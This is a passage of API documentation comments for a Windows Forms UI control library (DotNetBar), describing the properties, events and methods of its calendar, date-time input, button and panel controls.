SelectedYearChanged event. + + Provides event arguments. + + + + Defines the MonthCalendar and SingleMonthCalendar colors for customization. + + + + + Resets property to its default value. Provided for Windows Forms designer support. + + + + + Resets property to its default value. Provided for Windows Forms designer support. + + + + + Resets property to its default value. Provided for Windows Forms designer support. + + + + + Resets property to its default value. Provided for Windows Forms designer support. + + + + Gets whether property should be serialized. Provided for WinForms designer support. + + + Resets property to its default value. Provided for WinForms designer support. + + + + Resets property to its default value. Provided for Windows Forms designer support. + + + + + Resets property to its default value. Provided for Windows Forms designer support. + + + + + Resets property to its default value. Provided for Windows Forms designer support. + + + + + Resets property to its default value. Provided for Windows Forms designer support. + + + + + Gets the appearance settings for the todays date. + + + + + Gets the appearance settings for selected days. + + + + + Gets the appearance settings for the trailing days on calendar. + + + + + Gets or sets the appearance settings for the labels that show week of year number. + + + + + Gets or sets the days divider line color. + + + + + Gets the appearance settings for the numeric day of month label. + + + + + Gets the appearance settings for the weekend days on calendar (Saturday and Sunday). + + + + + Gets the appearance settings for the trailing weekend days on calendar (Saturday and Sunday). + + + + + Gets the appearance settings for the labels that display day name in calendar header. + + + + + Gets or sets the marker settings for days specified by MonthCalendarItem.MonthlyMarkedDates property. + + + + + Gets or sets the marker settings for days specified by MonthCalendarItem.AnnuallyMarkedDates property. + + + + + Gets or sets the marker settings for days specified by MonthCalendarItem.MarkedDates property. + + + + + Gets or sets the marker settings for days specified by MonthCalendarItem.WeeklyMarkedDays property. + + + + + Gets the minimum date value of the DateTimePicker control. + + + + + Specifies the maximum date value of the DateTimePicker control. This field is read-only. + + + + + Raises the ValueChanged event. + + + + + Occurs when Value or IsEmpty property has changed. + + + + + Gets or sets the date time. + + + + + Gets or sets the values of the nested DateTimeGroup items. + + + + + Gets or sets the minimum value represented by the group. + + + + + Gets or sets maximum value represented by the group. + + + + + Gets or sets whether input values are set to defaults while user is entering data. Default value is true. + + + + + Defines the date-time selector visibility for DateTimeInput control popup. + + + + + Depending on DateTimeInput.Format property setting either date or time selector is used. + + + + + Only date selector is visible. + + + + + Only time selector is visible on popup. + + + + + Both date and time selectors are visible. + + + + + Gets or sets the amount of padding added to text. + + + + + Gets or sets the text displayed by the label. + + + + + Defines an interface for the DateTime Part interaction. + + + + + Reverts to the last input value control held. + + + + + Gets or sets the date/time part value. + + + + + Gets or sets the minimum value for the date/time part entry. + + + + + Gets or sets the maximum value for the date/time part entry. + + + + + Gets the date time part control represents. + + + + + Gets or sets whether input part is empty. + + + + + Gets or sets the day in numeric format to display. Allowed values are from -1 to 6. -1 represents an empty state. + 0 represents Sunday and 6 Represents Saturday. + + + + + Gets or sets the array of custom names for days. The array must have exactly 7 elements representing day names from 0 to 6. + + + + + Gets or sets whether abbreviated day names are used for display instead of full day names. Default value is false. + + + + + Represents a label for the NumericHourInput control that shows whether time is AM or PM. + + + + + Gets or sets custom AM text used. + + + + + Gets or sets custom PM text used. + + + + + Gets or sets whether abbreviated month names are used for display instead of full month names. Default value is false. + + + + + Occurs when Value property has changed. + + + + + Gets or sets whether mouse wheel increases or decreases the input value when used. + + + + + Gets or sets whether control allows empty input state i.e. does not have an number entered. Default value is true. When control is empty + IsEmpty property returns true and control does not display number. Set to false to always force control to have number displayed. + + + + + Gets or sets the value to increment or decrement the value of the control when the up or down buttons are clicked. + + + + + Gets or sets the Numeric String Format that is used to format the numeric value entered for display purpose. + + + + + Initializes a new instance of the NumericDayInput class. + + + + + Initializes a new instance of the NumericDayOfYearInput class. + + + + + Initializes a new instance of the NumericHourInput class. + + + + + Initializes a new instance of the NumericMinuteInput class. + + + + + Initializes a new instance of the NumericMonthInput class. + + + + + Initializes a new instance of the NumericSecondInput class. + + + + + Initializes a new instance of the NumericYearInput class. + + + + + Gets or sets the year display format. Default value is four digit format. + + + + + Defines data for the ParseValue event that allows you to provide custom parsing for values set to ValueObject property. + + + + + Get the value that was set to the ValueObject property and which should be converted to ParsedValue DateTime. + + + + + Gets or sets whether you have provided ParsedValue. + + + + + Initializes a new instance of the ParseDateTimeValueEventArgs class. + + Indicates the value object. + + + + /// + Gets or sets the parsed value from ValueObject property. + + + + + + Defines delegate for ParseDateTimeValue event. + + + + + + + Initializes a new instance of the DayLabel class. + + + + + Raises the PaintLabel event. + + Provides event data. + + + + Returns copy of the item. + + + + + Copies the DayLabel specific properties to new instance of the item. + + New ButtonItem instance. + + + + Occurs when the mouse pointer enters the item. This is used by internal implementation only. + + + + + Occurs when the mouse pointer leaves the item. This is used by internal implementation only. + + + + + Occurs when the mouse pointer is over the item and a mouse button is pressed. This is used by internal implementation only. + + + + + Occurs when the mouse pointer is over the item and a mouse button is released. This is used by internal implementation only. + + + + Gets whether property should be serialized. Provided for WinForms designer support. + + + Resets property to its default value. Provided for WinForms designer support. + + + + Occurs when label is rendered and it allows you to override default rendering. + + + + + Gets or sets the date represented by this label. DateTime.MinValue indicates that label is either used as textual day representation + or the week number as specified by the IsWeekOfYear property. + + + + + Gets or sets whether this label is used as the label that displays the day name. + + + + + Gets or sets whether this label is used as the week of year label. + + + + + Gets whether the label for date represents the trailing date, i.e. date that is from next or previous month for the month displayed. + + + + + Gets or sets whether mouse is over the item. + + + + + Gets or sets whether left-mouse button is pressed over the item. + + + + + Specifies the item background style. Default value is an empty style which means that container does not display any background. + BeginGroup property set to true will override this style on some styles. + + + + + Gets or sets whether label appears as selected. + + + + + Gets or sets whether label provides visual indicator when mouse is over the label or pressed while over the label. Default value is true. + + + + + Gets or sets whether label is selectable. IsSelected property returns whether label is selected. Default value is true. + + + + + Gets or sets the label text color. Default value is an empty color. + + + + + Gets or sets whether text is drawn using Bold font. Default value is false. + + + + + Gets or sets the text alignment. + + + + + Gets or sets the image alignment. + + + + + Gets or sets the image displayed on the label. + + + + + Gets or sets whether flat Office 2007 style is used to render the item. Default value is false. + + + + + Gets or sets whether date represented by label is marked as todays date. + + + + + Gets or sets whether popup is displayed when mouse is pressed anywhere over the item. Default value is false which indicates + that popup is displayed only if image assigned to the item and mouse is pressed over image. + + + + + Indicates the alignment of the DayLabel part like text or image. + + + + + Provides data for DayLabel painting events. + + + + + Gets the graphics canvas for rendering. + + + + + Gets or sets which parts of the item will be drawn by the system. You can set this to None to completely disable system rendering. + + + + + Initializes a new instance of the DayPaintEventArgs class. + + Reference to Graphics canvas. + Reference to item being rendered. + + + + Renders the background of the item. + + + + + Renders the item text. + + + + + Renders the item text. + + + + + Renders the item text. + + + + + Renders the item text. + + + + + Renders the item text. + + + + + Renders items image. + + + + + Renders items image. + + + + + Defines delegate for DayLabel painting events. + + Source of the event. + Provides event data. + + + + Specifies the parts of DayLabel control. Members of this enum are intended to be used as flags (combined). + + + + + Specifies no part. + + + + + Specifies the label background. + + + + + Specifies the label text. + + + + + Specifies the label image. + + + + + Specifies all parts. + + + + + Indicates the hour format. + + + + + Indicates Ante Meridiem period, before the middle day. + + + + + Indicates Post Meridiem after the middle day". + + + + + Identifies the date time part. + + + + + Specifies the input fields alignment inside of the control. + + + + + Specifies the text alignment. + + + + + Specifies the format of the date time picker. + + + + + Indicates that custom format specified by CustomFormat property is used. + + + + + The DateTimePicker control displays the date/time value in the long date format set by the user's operating system. + + + + + The DateTimePicker control displays the date/time value in the short date format set by the user's operating system. + + + + + The DateTimePicker control displays the date/time value in the time format set by the user's operating system. + + + + + The DateTimePicker control displays the date/time value in the short time format set by the user's operating system. + + + + + Specifies the display format of the year in input control. + + + + + Specifies the visual item alignment inside the parent group. + + + + + Specifies the vertical alignment. + + + + + Describes the system button item type. System buttons are buttons created internally by controls. + + + + + Specifies the auto-change item when VisualUpDownButton control is clicked. + + + + + No item is automatically changed. + + + + + Auto-change focused item in parent group + + + + + Auto change first input item before the Up/Down button in parent group. + + + + + Specifies the keys used for navigation between input fields. + + + + + No key is used for the navigation. + + + + + Tab key is used to advance to the next input field. + + + + + Arrow keys are used to advance to the next input field. + + + + + Enter key is used to advance to the next input field. + + + + + Tab, Arrows and Enter keys are used to advance to the next input field. + + + + + Describes input button settings. + + + + + Initializes a new instance of the InputButtonSettings class. + + + + + Initializes a new instance of the InputButtonSettings class. + + + + + + Called when Symbol property has changed. + + Old property value + New property value + + + + Called when SymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Copies properties to new instance of the item. + + New InputButtonSettings instance + + + + Gets or sets whether button is visible. + + + + + Gets or sets whether button is enabled. + + + + + Gets or sets the display position index of the button. Buttons are ordered from left to right with button with lowest index appearing as left-most button. + + + + + Gets or sets the image displayed on the face of the button. + + + + + Gets or sets the text displayed on the input button face. + + + + + Gets or sets the visual item button references for its action. + + + + + Gets or sets the shortcut key which when pressed triggers button click event or its default function. + + + + + Gets or sets tooltip displayed for the button when mouse hovers over it. + + + + + Indicates the symbol displayed on face of the button instead of the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Gets or sets the color of the Symbol. + + + + + Defines the system colors used by the input controls. + + + + + Resets property to its default value. Provided for design-time support. + + + + + Returns whether property should be serialized. Provided for design-time support. + + + + + Resets property to its default value. Provided for design-time support. + + + + + Returns whether property should be serialized. Provided for design-time support. + + + + + Occurs when color has changed. + + + + + Gets or sets the background color of input item part when part has input focus. Default value is Color.Empty which indicates that system Highlight color is used. + + + + + Gets or sets the text color of input item part when part has input focus. Default value is Color.Empty which indicates that system HighlightText color is used. + + + + + Initializes a new instance of the InputValidationEventArgs class. + + Indicates current input. + + + + Defines delegate for input validation event. + + + + + + + Initializes a new instance of the VisualToggleButton class. + + + + + Raises the CheckedChanged event. + + + + + Occurs when Checked property has changed. + + + + + Gets or sets whether item is checked. + + + + + Gets whether left mouse button is pressed over the item. + + + + + Gets whether mouse is over the item. + + + + + Initializes a new instance of the LockUpdateCheckBox class. + + + + + Initializes a new instance of the MonthCalendarItem class. + + + + + Returns copy of the item. + + + + + Copies the CalendarMonth specific properties to new instance of the item. + + New ButtonItem instance. + + + + Copies the CalendarMonth specific properties to new instance of the item. + + New ButtonItem instance. + + + + Returns whether property should be serialized by Windows Forms desginer. + + + + + Sets the selected dates in a month calendar control to the specified date range. + + The beginning date of the selection range. + The end date of the selection range. + startDate is less than the minimum date allowable for a month calendar control.
+ -or-
+ startDate is greater than the maximum allowable date for a month calendar control.
+ -or-
+ endDate is less than the minimum date allowable for a month calendar control.
+ -or- endDate is greater than the maximum allowable date for a month calendar control.
+
+ + If the startDate value is greater than endDate property value, the dates are swapped; the endDate value becomes the starting date, and startDate value becomes the end date. + +
+ + + Applies current date selection to the control. You are usually not required to make calls to this method directly since it is automatically + done by the control when selection changes. This method returns immediately if MultiSelect + property is set to false or SelectionStart or SelectionEnd properties have DateTime.MinValue. + + + + + Returns the DayLabel at given client coordinates or null/nothing if there is no label at give location. + + X - position in client coordinates. + Y - position in client coordinates. + DayLabel at given coordinates or null/nothing. + + + + Returns the DayLabel that represents the date. + + Date to find label for. + DayLabel object or nothing if date cannot be founds. + + + + Returns whether property should be serialized. Provided for Windows Forms designer support. + + + + + Resets property to its default value. Provided for Windows Forms designer support. + + + + + Removes all monthly marked dates. Note that you must call UpdateMarkedDates method to reflect these changes on calendar. + + + + + Removes the date from the MonthlyMarkedDates. Note that you must call UpdateMarkedDates method to reflect these changes on calendar. + + + + + + Returns whether property should be serialized. Provided for Windows Forms designer support. + + + + + Resets property to its default value. Provided for Windows Forms designer support. + + + + + Removes all weekly marked days. Note that you must call UpdateMarkedDates method to reflect these changes on calendar. + + + + + Removes the date from the MonthlyMarkedDates. Note that you must call UpdateMarkedDates method to reflect these changes on calendar. + + + + + + Returns whether property should be serialized. Provided for Windows Forms designer support. + + + + + Resets property to its default value. Provided for Windows Forms designer support. + + + + + Removes all annually marked dates. Note that you must call UpdateMarkedDates method to reflect these changes on calendar. + + + + + Removes the date from the AnnuallyMarkedDates. Note that you must call UpdateMarkedDates method to reflect these changes on calendar. + + + + + + Returns whether property should be serialized. Provided for Windows Forms designer support. + + + + + Resets property to its default value. Provided for Windows Forms designer support. + + + + + Removes all marked dates set through MarkedDates property. Note that you must call UpdateMarkedDates method to reflect these changes on calendar. + + + + + Removes the date from the MarkedDates collection. Note that you must call UpdateMarkedDates method to reflect these changes on calendar. + + + + + + Repaints the marked dates to reflect the dates set in the lists of marked dates. + Use this method to reflect the changes made to the AnnuallyMarkedDates, MonthlyMarkedDates or MarkedDates properties as well + as change to the marked Colors properties. + + + + + Raises the MonthChanged event. + + Provides additional event data. + + + + Raises the MonthChanging event. + + Provides additional event data. + + + + Raises the PaintLabel event. + + Provides event data. + + + + Raises the LabelMouseDown event. + + Provides event data. + + + + Raises the LabelMouseUp event. + + Provides event data. + + + + Raises the LabelMouseEnter event. + + Provides event data. + + + + Raises the LabelMouseLeave event. + + Provides event data. + + + + Raises the LabelMouseMove event. + + Provides event data. + + + + Raises the LabelMouseHover event. + + Provides event data. + + + + Gets whether property should be serialized. Provided for designer support. + + + + + + Reset property to default value. Provided for designer support. + + + + + Gets whether property should be serialized. Provided for designer support. + + + + + + Reset property to default value. Provided for designer support. + + + + + Gets whether Value property should be serialized by Windows Forms designer. + + true if value serialized otherwise false. + + + + Reset the MinDate property to its default value. + + + + + Gets whether Value property should be serialized by Windows Forms designer. + + true if value serialized otherwise false. + + + + Reset the MaxDate property to its default value. + + + + + Resets property to its default value. Provided for design-time support. + + + + + Gets whether property should be serialized. Provided for design-time support. + + + + + Sets the number of columns and rows of months to display. + + The number of columns. + The number of rows. + ArgumentOutOfRangeException will be raised if any value is less than zero or one value is grater than zero and other is zero. + + + + Raises the DateChanged event. + + Provides event data. + + + + Raises the DateSelected event. + + Provides event data. + + + + Reloads the localized strings for Today and Clear buttons. + + + + + Called when DayClickAutoClosePopup property has changed. + + Old property value + New property value + + + + Occurs when month displayed by the item has changed. + + + + + Occurs before the month that is displayed is changed. + + + + + Occurs when child label representing days is rendered and it allows you to override default rendering. + + + + + Occurs when mouse button is pressed over the day/week label inside of the calendar. + + + + + Occurs when mouse button is released over day/week label inside of the calendar. + + + + + Occurs when mouse enters the day/week label inside of the calendar. + + + + + Occurs when mouse leaves the day/week label inside of the calendar. + + + + + Occurs when mouse moves over the day/week label inside of the calendar. + + + + + Occurs when mouse remains still inside an day/week label of the calendar for an amount of time. + + + + + Occurs when SelectedDate property has changed. + + + + + Occurs when the user makes an explicit date selection using the mouse. + + + This event is similar to the DateChanged event, but it occurs at the end of a date selection made using the mouse. + The DateChanged event occurs during any date selection, whether by mouse, keyboard, or code. You should handle this event + when you enable multiple date selection through MultiSelect property and want to be notified after the date selection has been + made. DateChanged event would fire each time selection changes during the selection of multiple dates. + + + + + Gets or sets the maximum number of days that can be selected in a month calendar control. + + + + + Gets or sets the start date of the selected range of dates. + + + + + Gets or sets the end date of the selected range of dates. + + + + + Gets or sets the selected range of dates for a month calendar control. + + Setting this property is functionally equivalent to using the SetSelectionRange method. You can set the start and end dates separately by setting either the SelectionStart or SelectionEnd properties. You cannot change the start and end dates by setting the SelectionRange.Start or SelectionRange.End property values of the SelectionRange property. You should use SelectionStart, SelectionEnd, or SetSelectionRange. + If the Start property value of the SelectionRange is greater than its End property value, the dates are swapped; the End property value becomes the starting date, and Start property value becomes the end date. + + + + + Gets or sets whether selection of multiple dates up to the MaxSelectionCount is enabled. Default value is false which indicates that only + single day can be selected. + + + + + Gets or sets the array of DateTime objects that determine which monthly days to mark using Colors.MonthlyMarker settings. + + + + + Gets or sets the array of DayOfWeek members that determine which days of week to mark using Colors.WeeklyMarker settings. + + + + + Gets or sets the array of DateTime objects that determines which annual days are marked using Colors.AnnualMarker settings. + + + + + Gets or sets the array of DateTime objects that determines which nonrecurring dates are marked using Colors.DayMarker settings. + + + + + Gets or sets the first month displayed by the control. + + + + + Gets number of months displayed on the control. + + + + + Gets the calendar colors used by the control. + + + + + Gets or sets the size of each day item on the calendar. Default value is 24, 15. + + + + + Gets or sets the size of date navigation buttons on the calendar. Default value is 13, 18. If you increase size of the navigation + buttons change DaySize as well so everything fits. + + + + + Gets or sets the minimum date and time that can be selected in the control. + + + + + Gets or sets the maximum date and time that can be selected in the control. + + + + + Specifies the commands container background style. Commands container displays Today and Clear buttons if they are visible. + + + + + Specifies the navigation container background style. Navigation container displays month, year and optional buttons. Default value is an empty style which means that container does not display any background. + BeginGroup property set to true will override this style on some styles. + + + + + Gets or sets the number of columns and rows of months displayed on control. Default value is 0,0 which indicates that + calendar will display as many columns and rows as it is possible to fit into container space available. + + + + + Gets or sets whether weekend days can be selected. Default value is true. + + + + + Gets or sets the rule used to determine first week of the year for week of year display on calendar. Default value is first-day. + + + + + Gets or sets the value that is used by calendar as today's date. + + + + + Gets a value indicating whether the TodayDate property has been explicitly set. + + + + + Gets or sets whether today marker that indicates TodayDate is visible on the calendar. Default value is true. + + + + + Gets or sets whether week of year is visible. Default value is false. + + + + + Gets or sets whether control uses the two letter day names. Default value is true. + + + + + Gets or sets the array of custom names for days displayed on calendar header. The array must have exactly 7 elements representing day names from 0 to 6. + + + + + Gets or sets the first day of week displayed on the calendar. Default value is Sunday. + + + + + Gets or sets the calendar selected date. Note that SelectedDate property should be used only when MultiSelect property is set to false. + When multiple dates can be selected use range selection properties: SelectionStart, SelectionEnd and SelectionRange. + + + + + Gets the reference to the bottom container that parents the Today, and Clear system buttons. + + + + + Gets reference to internal Today button on calendar. + + + + + Gets or sets whether Today button displayed at the bottom of the calendar is visible. Default value is false. + + + + + Gets or sets whether Clear button displayed at the bottom of the calendar is visible. Clear button clears the currently selected date. Default value is false. + + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + Gets or sets whether clicking the day closes the parent popup if item is on popup. + + + + + Gets or sets whether Year/Century selection is enabled when calendar is displaying single month. + + + + + Indicates whether month selector which is displayed when month label is clicked is using abbreviated month names instead of month number. + + + + + Indicates whether calendar is used in month selection mode which shows only month and year. + + + + + Gets or sets the size available for the item currently being arranged. + + + + + Gets or sets whether mouse is over the host control. + + + + + Gets or sets system colors used by the control. + + + + + Defines data for the ParseValue event that allows you to provide custom parsing for values set to ValueObject property. + + + + + Get the value that was set to the ValueObject property and which should be converted to ParsedValue DateTime. + + + + + Gets or sets whether you have provided ParsedValue. + + + + + Initializes a new instance of the ParseDateTimeValueEventArgs class. + + Indicates the value object. + + + + /// + Gets or sets the parsed value from ValueObject property. + + + + + + Defines delegate for ParseValue event. + + + + + + + Defines data for the ParseValue event that allows you to provide custom parsing for values set to ValueObject property. + + + + + Get the value that was set to the ValueObject property and which should be converted to ParsedValue DateTime. + + + + + Gets or sets whether you have provided ParsedValue. + + + + + Initializes a new instance of the ParseDateTimeValueEventArgs class. + + Indicates the value object. + + + + /// + Gets or sets the parsed value from ValueObject property. + + + + + + Defines delegate for ParseValue event. + + + + + + + Gets or sets whether button automatically gets Click events repeated when mouse is kept pressed on the button. Default value is false. + + + + + Gets or sets the auto-repeat interval for the click event when mouse button is kept pressed over the item. + + + + + Gets or sets whether default button background is rendered when mouse is not over the host control. Default value is true. + + + + + Gets or sets the shortcut key which when pressed triggers button click event or its default function. + + + + + Gets or sets the button tooltip. + + + + + Called when Symbol property has changed. + + Old property value + New property value + + + + Called when SymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Gets or sets the fixed button height. + + + + + Gets whether mouse is over the control. + + + + + Gets whether mouse is pressed on the control. + + + + + Gets or sets the text displayed on the face of the button. + + + + + Gets or sets the image displayed on the face of the button. + + + + + Gets the realized symbol string. + + + + + Indicates the symbol displayed on face of the button instead of the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Gets or sets the color of the Symbol. + + + + + Raises DecreaseValue event. + + Provides event arguments. + + + + Raises IncreaseValue event. + + Provides event arguments. + + + + Defines data for ConvertFreeTextEntry event. + + + + + Gets the string value that was entered by the user. + + + + + Gets or sets the converted ValueEntered into the control's value type. For example for IpAddressInput the value set here + must be of string type and in IP address format. For IntegerInput control the value set here must be an int type. For DateTimeInput + control value set here must be DateTime type. + If you provide ControlValue set ValueConverted=true to indicate so. + + + + + Gets or sets whether ValueEntered has been converted to ControlValue. Set to true to indicate that you have performed conversion. + + + + + Defines delegate for ConvertFreeTextEntry event. + + Source of event. + Provides event data. + + + + Gets or sets the value to increment or decrement the value of the control when the up or down buttons are clicked. + + + + + Gets or sets the Numeric String Format that is used to format the numeric value entered for display purpose. + + + + + Specifies trigger types for the value changed events on editor controls. + + + + + ValueChanged event is fired as soon as user types in the value. + + + + + ValueChanged event is fired after control loses input focus. + + + + + ValueChanged event is fired after control loses input focus or user presses the Enter key. + + + + Creates new instance of the class. + + + Creates new instance of the class. + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Adds array of new objects to the collection. + + Array of object to add. + + + + Adds array of new objects to the collection. + + Array of object to add. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the VisualItem array. + + Array to copy to. + + + + Returns reference to the object in collection based on it's index. + + + + + Represents the up down button which allows change of the value in currently focused input control. + + + + + Initializes a new instance of the VisualUpDownButton class. + + + + + Raises the UpClick event. + + Provides event data. + + + + Raises the DownClick event. + + Provides event data. + + + + Occurs when Up part of the button has been clicked. + + + + + Occurs when Down part of the button has been clicked. + + + + + Gets or sets the image displayed on the face of the button. + + + + + Gets or sets the image displayed on the face of the button. + + + + + Gets or sets the default width of the buttons. + + + + + Gets or sets whether control automatically tries to increase/decrease the value of the item that has input focus in the same + parent group as the button. Default value is false. + + + + + Gets or sets the item that is automatically changed when buttons are pressed. + + + + + Statis functions for design-time support. + + + + + Summary description for DesignTimeDte. + + + + + Summary description for Display. + + + + + System item that displays the items that could not fit inside the container on popup menu or toolbar. + + + + + Create new instance of DisplayMoreItem object. + + + + + Returns copy of DisplayMoreItem item + + + + + Called when item container has changed. If you override this method you must call the base implementation to allow default processing to occur. + + Previous container of the item. + + + + Overridden. Draws the item. + + Target Graphics object. + + + + Overriden. Recalculates the size of the item. + + + + + Overridden. Displays the sub-items on popup. + + Popup location. + + + + Overridden. Displays the sub-items on popup. + + Horizontal coordinate in pixels of the upper left corner of a popup. + Vertical coordinate in pixels of the upper left corner of a popup. + + + + Overridden. Displays the sub-items on popup toolbar. + + Horizontal coordinate in pixels of the upper left corner of a popup. + Vertical coordinate in pixels of the upper left corner of a popup. + + + + Overridden. Displays the sub-items on popup menu. + + Horizontal coordinate in pixels of the upper left corner of a popup. + Vertical coordinate in pixels of the upper left corner of a popup. + + + + Overridden. Close the popup window if open. + + + + + Adds the items that are not visible to the overflow popup. + + + + + Returns the insertion index for the items removed from overflow popup. Assumes that right-most items are removed first by the layout manager. + + + + + + Removes the items from the overflow and adds them back to the parent item. + + + + + Forces the repaint the item. + + + + + Returns the fixed size of the item. + + + + + Get or sets whether item has been changed in a way that it needs its size recalculated. This is internal + property and it should not be used by your code. + + + + + Gets whether the mouse is over the item. + + + + + Represents panel that is hosted by DockContainerItem as docked control. + + + + + Represents graphical panel control with support for different visual styles and gradients. + + + + + Default constructor. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Applies color scheme colors to the style objects. + + + + + Sets the internal mouse down flag which controls appearance of the control. You can use this method to simulate the pressed state for the panel with appropriate StyleMouseDown assigned. + + New value for the mouse down flag. + + + + Sets the mouse over internal flag that tracks whether the mouse is over the control. You can use this method to simulate the mouse over appearance when appropriate StyleMouseOver style is set. + + New value for the mouse over flag. + + + + Indicates whether CanvasColor should be serialized. Used by windows forms designer design-time support. + + + + + Resets CanvasColor to it's default value. Used by windows forms designer design-time support. + + + + + Resets the style to it's default value. + + + + + Resets the internal mouse tracking properties that track whether mouse is over the panel and whether is mouse pressed while over the panel. + + + + + Resets the style to it's default value. + + + + + Resets the style to it's default value. + + + + + Called when AntiAlias property has changed. + + + + + Called after either ColorScheme or ColorSchemeStyle has changed. If you override make sure that you call base implementation so default + processing can occur. + + + + + Returns the size of the panel calculated based on the text assigned. + + Calculated size of the panel or Size.Empty if panel size cannot be calculated. + + + + Returns the size of the panel calculated based on the text assigned. + + Calculated size of the panel or Size.Empty if panel size cannot be calculated. + + + + Updates the markup size to reflect current position of the scrollbars. You must call this method if you are scrolling control with markup using the AutoScrollPosition property. + + + + + Applies predefined Panel color scheme to the control. + + + + + Applies predefined Button color scheme to the control. + + + + + Applies predefined Label color scheme to the control. + + + + + Notifies a control that it is the default button so that its appearance and behavior is adjusted accordingly. + + true if the control should behave as a default button; otherwise false. + + + + Generates a Click event for the control. + + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + Raises NonClientSizeChanged event. + + Provides event arguments. + + + + Raises ScrollBarValueChanged event. + + Provides event arguments. + + + + Raises NonClientSizeChanged event. + + Provides event arguments. + + + + Occurs when text markup link is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Gets or sets a value indicating whether right-to-left mirror placement is turned on. Default value is false. + + + + + Gets or sets Bar Color Scheme. Note that when ColorSchemeStyle property is set to Office 2007 style the color scheme is always retrived from the GlobalManager.Renderer and any\ + changes made on this property will not have any effect. + + + + + Gets or sets whether paint operations for the control are suspended. + + + + + Gets or sets whether Text supports and renders text markup. Default value is true. + + + + + Gets or sets the text displayed on panel. + + + + + Gets or sets whether focus rectangle is displayed when control has focus. + + + + + Gets or sets the canvas color for the panel. Canvas color will be visible on areas of the control that do not get covered + by the style and it will also be used as a base color for style to be painted on. + + + + + Gets or sets the panel style. + + + + + Gets or sets the panel style when mouse hovers over the panel. + + + + + Gets or sets the panel style when mouse button is pressed on the panel. + + + + + Gets or sets whether anti-alias smoothing is used while painting. + + + + + Gets or sets color scheme style. + + + + + Gets or sets a value indicating whether the container will allow the user to scroll to any controls placed outside of its visible boundaries. + + + + + Gets or sets whether text rectangle painted on panel is considering docked controls inside the panel. + + + + + Gets or sets the text rectangle. This property is set by internal implementation and it should not be set by outside code. + + + + + Gets or sets whether text markup if it occupies less space than control provides uses the Style Alignment and LineAlignment properties to align the markup inside of the control. Default value is false. + + + + + Returns reference to internal vertical scroll-bar control. + + + + + Returns reference to internal horizontal scroll-bar control. + + + + + Indicates whether panel uses themed DotNetBar scrollbars. Default value is true. + + + + + Gets or sets the scroll-bar visual style. + + + + + Gets or sets the value returned to the parent form when the button is clicked. + + + + + Specifies whether item is drawn using Themes when running on OS that supports themes like Windows XP. + + + + + Specifies back color when Enabled=false + + + + + Creates new instance of the panel. + + + + + Called after either ColorScheme or ColorSchemeStyle has changed. If you override make sure that you call base implementation so default + processing can occur. + + + + + Indicates whether style of the panel is managed by tab control automatically. + Set this to true if you would like to control style of the panel. + + + + + Gets or sets TabItem that this panel is attached to. + + + + + Gets or sets which edge of the parent container a control is docked to. + + + + + Gets or sets the size of the control. + + + + + Gets or sets the coordinates of the upper-left corner of the control relative to the upper-left corner of its container. + + + + + Gets or sets a value indicating whether the control is displayed. + + + + + Gets or sets which edges of the control are anchored to the edges of its container. + + + + + Defines single color blend point for the multicolor gradient fills. + + + + + Creates new instance of the class. When defining multicolor gradinet blends and using the percentage positions the positions created + must start with 0f and end with 1f. + + + + + Creates new instance of the class and initialize it with default values. + + + + + Creates new instance of the class and initialize it with default values. + + + + + Gets or sets Color to use in multicolor gradient blend at specified position. + + + + + Gets or sets the color position in multicolor gradient blend. Values less or equal to 1 are used as percentage specifing percentages of distance along the gradient line. + Values greater than 1 are used as absolute pixel values of distance along the gradient line. + + + + + Represents Collection for the BackgroundColorBlend objects. + + + + Creates new instance of the class. + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Adds array of new objects to the collection. + + Array of object to add. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the BackgroundColorBlend array. + + Array to copy to. + + + + Creates ColorBlend object based on the members of the collection. ColorBlend object will be valid only if all members of the collection + represents relative/percentage based color blends. + + + + + + Adds the BackgroundColorBlend objects from the collection. + + Collection to copy objects from + + + + Initializes the collection with the two color blend. + + Collection to initialize. + Start color. + End color. + + + + Initializes the collection with the two color blend. + + Collection to initialize. + Start color. + End color. + + + + Initializes the collection with the two color blend. + + Collection to initialize. + Solid Color + + + + Returns reference to the object in collection based on it's index. + + + + + Represents BackgroundColorBlend object converter. + + + + + Represents the cancelable event arguments with integer value. + + + + + Gets or sets the new value that will be used if event is not canceled. + + + + + Indicates the source of the event. + + + + + Defines delegate for cancelable events. + + + + + Represents the cancelable event arguments with object value. + + + + + Initializes a new instance of the CancelObjectValueEventArgs class. + + + + + + Gets or sets the data connected to this event. + + + + + Defines delegate for cancelable events. + + + + + Provides data for CheckBoxItem rendering events. + + + + + Gets or sets Graphics object group is rendered on. + + + + + Gets or sets the reference to CheckBoxItem being rendered. + + + + + ColorScheme object that is used to provide colors for rendering check box item in legacy styles like Office 2003. Office 2007 style + uses color tables provided by renderers. + + + + + Indicates whether item is in Right-To-Left environment. + + + + + Gets or sets the text font. + + + + + Gets or sets the ItemPaintArgs reference. + + + + + Creates new instance of the object and provides default values. + + Reference to Graphics object + Reference to CheckBoxItem + Reference to legacy ColorScheme + Indicates the font for the text. + Indicates whether item is in Right-To-Left environment. + + + + Defines the event arguments class for ColorPickerDropDown ColorPreview event. + + + + + Gets the color that is being previewed. + + + + + Gets the 